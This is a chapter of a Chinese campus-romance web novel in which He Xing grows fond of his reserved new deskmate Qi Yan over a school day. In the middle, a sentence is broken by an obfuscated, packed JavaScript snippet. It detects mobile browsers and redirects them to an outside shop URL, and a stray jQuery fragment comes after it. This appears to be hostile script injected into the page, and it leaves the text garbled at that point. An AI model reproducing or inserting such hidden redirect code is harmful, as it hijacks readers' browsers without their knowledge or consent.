第二节课是数学。老周进门的时候带了一股淡淡的烟草味，粉笔盒往讲桌上一搁，眼镜片上还蒙着走廊里的水汽。他扫了一眼全班，目光在最后一排多停了一秒——落在了祁颜身上。
"新同学是吧？"老周拿粉笔敲了敲黑板，"先坐着听，跟不上再说。"
祁颜抬起头，点了下下巴，动作幅度小得像怕惊动什么："好的老师。"
声音还是那个音量，不高不低，尾音微微上扬。
何幸趴在旁边，半张脸埋在手臂里，眯着眼偷看。
他发现祁颜喊"老师"的方式跟班里其他人不一样——不是那种拖长音的讨好，也不是何幸式的嬉皮笑脸，而是一种精确的、刚刚好抵达礼貌边界的声音。像有人在录音棚里调过混响。
老周开始讲三角函数。何幸的数学其实不差，体育生里他算脑子活的，但前一节课被粉笔头砸醒之后那股困劲儿还没完全散，眼皮子又开始打架。
他拿笔尾戳了戳自己的脸颊，试图把瞌睡戳跑。
祁颜在旁边写字，笔尖摩擦纸张的沙沙声很轻，像春蚕食叶。
何幸歪过头去看他的笔记本——字迹清瘦工整，笔画之间的间距均匀得像用尺量过，偶尔在某个公式旁边画一个小箭头标注，箭头尾巴收得干净利落。
何幸自己的数学笔记像战场，字大、墨浓、箭头画得像鸡爪刨的。
"好看吗？"
祁颜没抬头，声音从喉咙里滑出来，带着一点橘子糖的甜味残留。
何幸一愣，随即咧嘴："好看。你这字儿，跟印刷似的。"
"练过的。"祁颜翻了一页，纸角折痕平整，"小时候每天两小时。"
"两小时写字？"何幸差点吹出口哨，"我每天两小时是用来睡觉的。"
祁颜终于偏过头看他，眉眼弯了弯，那个弧度又出现了——何幸已经开始熟悉这个笑容了，像某种固定程序启动的界面。"那你现在字写得很大？"
"豪放派。"何幸拍了拍自己笔记本上一坨墨迹，"懂不懂？艺术。"
祁颜垂下眼，睫毛颤了一下，像是忍住了什么。再抬起来的时候眼底有一点极浅的笑意："嗯，挺艺术的。"
老周在黑板上写完一道例题，转过身来："这道题，谁来试试？"
全班沉默。何幸把脑袋往手臂里埋了埋，祈祷别点到自己。
"新同学，"老周果然看向了祁颜，"你来。"
祁颜合上笔记本，站起来。
动作不急不缓，椅子往后挪了半寸，没有发出刺耳的摩擦声。他走到讲台上，老周把粉笔递给他。
祁颜接过，指尖在粉笔上转了半圈，找到合适的握法，然后在黑板上写下解题过程。
何幸趴在最后一排看不清具体步骤，但他看见祁颜写字时左手会自然地撑在黑板边缘，身体微微侧倾，留出右手活动的空间。整个过程流畅，没有停顿，没有涂改，粉笔灰落在他袖口上，他好像也不在意。
写完最后一个等号，祁颜退后半步，侧身让老周检查。老周推了推眼镜，点了点头："不错，国际学校出来的底子就是不一样。回去吧。"
祁颜走回座位，路过何幸那排时，何幸竖了个大拇指。
祁颜看了他一眼，嘴角动了动，没说什么，坐下来继续记笔记。
但何幸注意到他右手食指侧面有一小块粉笔灰的白色印记，像一枚小小的印章。
下课铃响了。
老周刚走出门，教室里立刻炸开锅。刘英婷转过身来，这回连椅子都搬了大半个圈，整个人几乎跨在椅背上。
"祁同学！"她声音里带着毫不掩饰的好奇，"你刚才那道题也太厉害了吧？我连题目都没看懂！"
祁颜抬起头，那个温和的笑容又挂上了："还好，题型比较常规。"
"常规？"刘英婷瞪大眼睛，"那道题老周讲了半节课我们才勉强跟上！你上来直接写完了！"
"
之前学过类似的。"祁颜把笔记本合上，手指在封面边缘摩挲了一下，"习惯了。"
"什么国际学校啊这么卷——"廖政枫从旁边探过头来，舌钉一闪，"幸哥，你这同桌以后能辅导你数学吧？你那数学成绩，啧啧。"
"我数学成绩怎么了？"何幸一脚蹬在他椅子腿上，"上次月考我比你还高五分。"
"五分也叫高？"廖政枫嗤笑，"幸哥，我只考了五分，格局打开哈。"
"行了你们俩。"刘英婷拿笔敲了一下廖政枫的胳膊，"祁颜你别理他们，这俩人一天不互损就难受。"
她转向祁颜，眼睛亮晶晶的，"对了，你之前在国际学校都学什么啊？除了数学这么厉害以外？"
祁颜沉默了一秒。
很短，短到大部分人不会注意到，但何幸注意到了。
那层温和的表壳底下有一个极微小的停顿，像齿轮卡了一下。
"什么都学一点。"祁颜说，声音没有变化，"理科为主，也有艺术类的选修。"
"艺术类？"刘英婷眼睛更亮了，"什么艺术？画画？音乐？"
"钢琴。"祁颜说，语气平淡，像在说今天中午食堂吃什么。
何幸看见他说这两个字的时候，右手食指上那块粉笔灰的印记被他无意识地搓了一下。
"钢琴！"刘英婷差点蹦起来，"十级了吗？"
"嗯。"
一个字。干脆利落，没有多余的解释，没有谦逊的"还行"，也没有炫耀的"对"。
就是一个事实陈述。何幸莫名觉得，这两个字从祁颜嘴里说出来，不像是什么值得骄傲的成就，倒像是某种身份证明文件上的条目。
"卧槽，"廖政枫吹了声口哨，"幸哥你这同桌牛啊，长得帅学习好还会弹钢琴，你这位置坐得值了。"
何幸本来想接话，但祁颜忽然站起来，说了一句"我去趟洗手间"，然后走了。动作自然流畅，没有一丝慌乱，但何幸看见他拿起书包的时候，拉链拽得比刚才用力了一点。
刘英婷看着祁颜的背影，感叹："好酷啊，话不多但是好有气质。"
"气质个屁，"廖政枫把舌钉顶起来又放下，"我看是有点难接近。幸哥，你坐他旁边感觉咋样？"
何幸看着祁颜消失在门口的方向，想了想："挺好的。话少，不烦。"
"得了吧你，你什么时候嫌别人话多了？"廖政枫拿肩膀撞他，"刚才人家问你字写得大不大，你说'豪放派'，笑死我了。"
"
那叫幽默。"何幸把笔记本翻开来，假装看题，"你懂个屁。"
其实他脑子里还在转刚才那个瞬间——祁颜说"钢琴"的时候那个停顿。
很短，但他听见了。像一根弦被人拨了一下，声音不大，但震得空气变了密度。
祁颜回来的时候上课铃刚好响了。他走回座位，坐下，从书包里掏出下节课要用的课本，一切如常。
但何幸注意到他把那块粉笔灰搓掉了，指尖干干净净。
第三节课是英语。何幸的英语是短板，单词量全靠考前突击，语法更是随缘。
老师让读课文，轮到他的时候他磕磕巴巴读了两段，把"thorough"念成了"through"，全班笑了一片。
"thorough，"英语老师纠正，"重音在前面，/'θ?r??/。"
"哦，搜瑞搜瑞。"何幸挠了挠后脑勺，坐下来。
旁边的祁颜翻开课本，轻声说："th发/θ/，ou发/??/，重音在第一音节。你可以这样记：'through'是穿过去，'thorough'是彻底的，彻底的东西通常比较'thick'，所以发音更像'thick'开头的音。"
何幸侧过头看他。祁颜没看他，视线还停留在课本上，但嘴唇微微动着，像在默念刚才的发音规则。
"你这是在教我？"何幸压低声音。
"算是。"祁颜翻了一页，"你刚才读错了两次，下次还会考到。"
"你怎么记得我错了两次？"
祁颜终于偏过头看他，眉眼弯了弯："我记性好。"
何幸盯着他看了两秒，忽然觉得胸口有什么东西松动了一下。
不是那种轰然倒塌的松动，是像扣子被解开了一颗，风从领口灌进来的那种。这个人在认真听他读课文，还数了他错了几次。
"谢了。"何幸说，声音比平时轻了一点。
"不客气。"祁颜收回目光，继续看课本。
下课之后又是十分钟休息。这次祁颜没走，坐在位置上整理笔记。何幸伸了个懒腰，胳膊肘差点怼到祁颜的笔记本上。
"哎，你钢琴学了多久？"何幸忽然问。
祁颜手中的笔停了一下。很短，短到像是书写节奏里的一个正常间隙。然后他继续写："十二年。"
"十二年？"何幸算了算，"你六岁就开始学了？"
"五岁。"祁颜纠正，笔尖在纸上划出最后一道线，然后把笔帽扣上，"不过五岁到六岁是启蒙。"
"启蒙……"何幸重复了一遍这个词，觉得它听起来像某种仪式，"那你弹得肯定特别好。"
祁颜没接话。他把笔记本收进书包，拉链拉到一半停住了，指尖搭在拉链上，没有动。
窗外有风吹进来，掀动了课桌上的几张废纸。祁颜的碎发被吹起来，露出额头上一小块皮肤，苍白得像没晒过太阳。
"还行吧。"他终于说，声音比之前轻了一些，"弹得比较多而已。"
何幸想追问，但上课铃又响了。这次是物理，何幸最喜欢的科目，因为能做实验。物理老师是个年轻男老师，姓陈，讲课喜欢拿生活里的例子打比方，课堂气氛活跃。
讲到摩擦力的时候，陈老师拿了两本书出来，把书页交叉叠在一起，让班里力气最大的男生上去试着拉开。王浩上去了，脸憋得通红，没拉开。全班哄笑。
"这就是摩擦力的叠加效应，"陈老师说，"每一页之间的摩擦力虽然小，但叠在一起就很大了。"
何幸在下面小声说："这不就是叠buff嘛。"
祁颜听见了，肩膀轻微地震了一下。何幸侧头看他，发现他抿着嘴，腮帮子微微鼓起——他在忍笑。
"你笑啥？"何幸用气声问。
"
没什么。"祁颜把嘴唇抿得更紧了一点，但眼底有水光在晃，"就是觉得……叠buff这个说法，很形象。"
“那可不，我何幸出品，必属精品。"何幸得意地挑了下眉。
祁颜终于没忍住，嘴角漏出一点弧度。不是那个标准的、精确的笑容，是一个更小的、更短
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922167|213481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的、像是从缝隙里漏出来的笑。
何幸觉得这个笑比之前所有的都好看，因为它不像排练过的。
放学铃响的时候，何幸收拾书包的动作比谁都快。廖政枫在旁边骂他："急什么，又没人跟你抢饭。"
"早点去早点吃，晚了我可不想排队。"何幸把篮球往书包里一塞，转头看祁颜，"你中午去食堂？"
祁颜正在把最后一支笔插进笔袋，闻言抬起头："嗯，去食堂。"
"一起？"何幸问完自己都愣了一下。这话问得太自然了，像他们已经认识很久了一样。
祁颜看着他，那个精确的笑容又挂上去了，但这次何幸觉得它比早上薄了一层。"好。"
刘英婷在前面听见了，转过身来："我也去我也去！今天柠檬请假了，政枫你不来？"
"去啊，幸哥请客。"廖政枫把舌钉一顶，冲何幸挑眉。
"我请个屁。"何幸踹了他一脚椅子，"AA，谁也别想占我便宜。"
一行人吵吵嚷嚷地往食堂走。祁颜走在何幸左边，步幅和他的几乎一致，不快不慢。何幸注意到他走路的时候肩膀不动，手臂摆动幅度很小，整个人像一条直线在平移。而他自己走路是那种一颠一颠的，像弹簧。
"你走路好稳。"何幸说。
"嗯？"祁颜偏头看他。
"没什么，就觉得你走路跟走正步似的，一条直线。"
祁颜低头看了看自己的脚，又看了看何幸的，嘴角动了动："你走路像兔子。"
"兔子？"何幸瞪眼，"我186好吗！兔子哪有这么高的！"
"跳得高的兔子。"祁颜说，语气平静，但眼底又有那种水光在晃。
何幸愣了一秒，然后大笑起来，笑得弯腰，差点撞到前面的人。廖政枫回头看他俩，一脸莫名其妙："你俩说啥了？笑成这样？"
"没事，"何幸抹了下眼角，"你祁哥说我像兔子。"
"像兔子？"廖政枫上下打量他，"我看是变异的吧？尤其是你那个一蹦一蹦的走路方式，确实像。"
"你完蛋了——"何幸伸手要去勒廖政枫脖子，被对方一个闪身躲开了。
祁颜走在旁边，看着他们打闹，脸上的笑容没有收。
何幸余光瞥见他，发现这次那个笑容的弧度好像比早上大了那么一点点。不是很多，就是多了一毫米。但那一毫米，何幸看见了。
食堂里人声鼎沸。四人打了饭坐在一张桌子上，何幸点了红烧排骨和米饭，祁颜只要了一份青菜和一个馒头。
"你就吃这些？"何幸看着他盘子里的东西，"够吗？"
"够了。"祁颜掰开馒头，动作细致，掰成的两半大小几乎一样。
"你挑食？"廖政枫夹了一块排骨放到祁颜碗里，"尝尝，这家伙红烧的还挺好吃。"
祁颜看着碗里多出来的排骨，沉默了两秒。然后他说："谢谢。"拿起筷子，夹起那块排骨咬了一小口。
何幸注意到他吃东西的时候咀嚼频率很均匀，每一口的大小差不多，没有发出任何声音。而自己这边，排骨啃得咔嚓响，汤汁溅到了桌面上。
"你吃饭也这么规矩？"何幸问。
祁颜咽下嘴里的食物才开口："习惯了。"
"什么习惯？"
"餐桌礼仪。"祁颜说，语气平淡，"小时候家里要求的。"
何幸想了想自己家的饭桌——他妈唠叨他爸看手机，他自己边吃边刷视频，跟他说的"餐桌礼仪"完全是平行宇宙的事。
"那你在我这儿岂不是挺累的？"
祁颜抬起眼看他，那一毫米的笑又出现了："还好。你比较……自由。"
"自由就是没规矩的意思呗。"何幸不以为耻反以为荣，"行，那你就当看野生动物进食。"
刘英婷在旁边笑得喷饭，“像山顶洞人…”
廖政枫拿筷子指着何幸："幸哥，你这自我认知倒是很到位。"
祁颜没说话，低头继续吃馒头，但何幸看见他耳尖又红了。
午饭后回教室的路上，何幸和祁颜并肩走着。廖政枫和刘英婷走在前面，不知道在聊什么，刘英婷时不时回头看他们一眼。
"今天谢谢你教我那个单词。"何幸说。
"不客气。"祁颜说，"以后有不懂的可以问我。"
"那你有什么不懂的问我啊，我体育好，跑得快，力气大。"何幸拍了拍胸口，"实用技能。"
祁颜想了想："那如果我需要搬东西，可以找你？"
"随时。"何幸咧嘴，"搬书搬桌子搬柜子，只要你开口。"
"好。"祁颜点了下头，语气认真得像在签合同。
阳光从教学楼之间的缝隙里斜射下来，照在两个人身上。何幸186的个子投下一大片影子，祁颜180的个子投下的影子稍微小一点，两个影子并在一起，边界模糊。
"祁颜。"他忽然叫了一声。
"嗯？"祁颜偏头看他。
"没什么。"何幸说，然后笑了，"就想叫一下。"
祁颜看了他两秒，嘴角弯了弯，那个比早上多了一毫米的弧度又出现了。
入射角刚刚好。
光没有穿透，也没有全反射，而是沿着界面滑行，在两个人的世界里留下一道湿润的痕迹。